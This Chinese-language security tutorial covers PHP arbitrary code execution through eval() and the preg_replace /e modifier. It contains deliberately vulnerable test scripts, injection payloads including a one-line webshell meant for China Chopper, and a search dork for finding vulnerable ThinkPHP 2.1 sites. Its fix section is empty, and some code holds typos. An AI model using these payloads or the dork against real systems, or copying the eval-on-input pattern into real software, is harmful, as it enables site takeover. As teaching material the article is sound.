标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2024-2298] 作者: hudie 发表于: [2019-02-15]
本文共 [586] 位读者顶过
0x00 什么是任意代码执行
0x01 为什么存在任意代码执行
0x02 为什么使用执行代码函数
function string2array(%data){ if($data == '') return array(); @eavl("\$array = $data"); return $array;}//当 $data 接受的字符串是这样时:$data = "array( 'upload_maxsize' => '2048', 'upload_allowext' => 'jpg|jpge|gif|bmp|png|doc|docx|xls|xlsx|ppt|pptx|pdf|txt|rar|zip|swf', 'watermark_enable' ==> '1', )"//通过eval()函数就可以将字符串‘array(....)’作为数组赋值给$array,这样会大大的提升代码的灵活性和简洁性。 0x03 漏洞分类
0x04 漏洞利用(本地测试)
#1:<?php$data = $_GET['data'];eval("\$ret = $data;");echo $ret;/* payload: ?data=phpinfo() ?data=1;phpinfo() ?data=${phpinfo()} ?data=${@eval($_POST[x])} #一句话木马,可以用菜刀连接*/ ?> #2:<?php$data = $_GET['data'];echo "\$ret= '$data'";eval("\$ret = strtolower('$data');");echo $ret;/* payload: ?data=');phpinfo();// ?data=');@eval($_POST[a]);//*/ ?> #3:<?php$data = $_GET['data'];eval("\$ret = strtolower(\"$data\");");echo $ret;/* payload ?data={${phpinfo()}} ?data=1");phpinfo();// ?data=${@eval($_POST[x])}*/ ?>
<?php$data = $_GET['data'];echo $data;preg_replace('/<data>(.*)<\/data>/e', '$ret = "\\1";',$data);echo $ret;/* payload: ?data=<data>${phpinfo()}</data> 注:PHP 5.5.0 /e 修饰符已经被弃用*/ ?> 0x05 修复方案
0x06 实例测试
intext:thinkphp intext:"Fast & Simple OOP PHP Framework"intext:"2.1"
为什么thinkphp这个版本存在 任意代码执行 漏洞,出现漏洞的代码是什么我在这就不提了,大家有兴趣的可自行百度。
解释下这句:getcwd() 返回当前工作路径 print() 打印一下 exit() 停止加载,网站停止渲染只会显示当前工作路径
|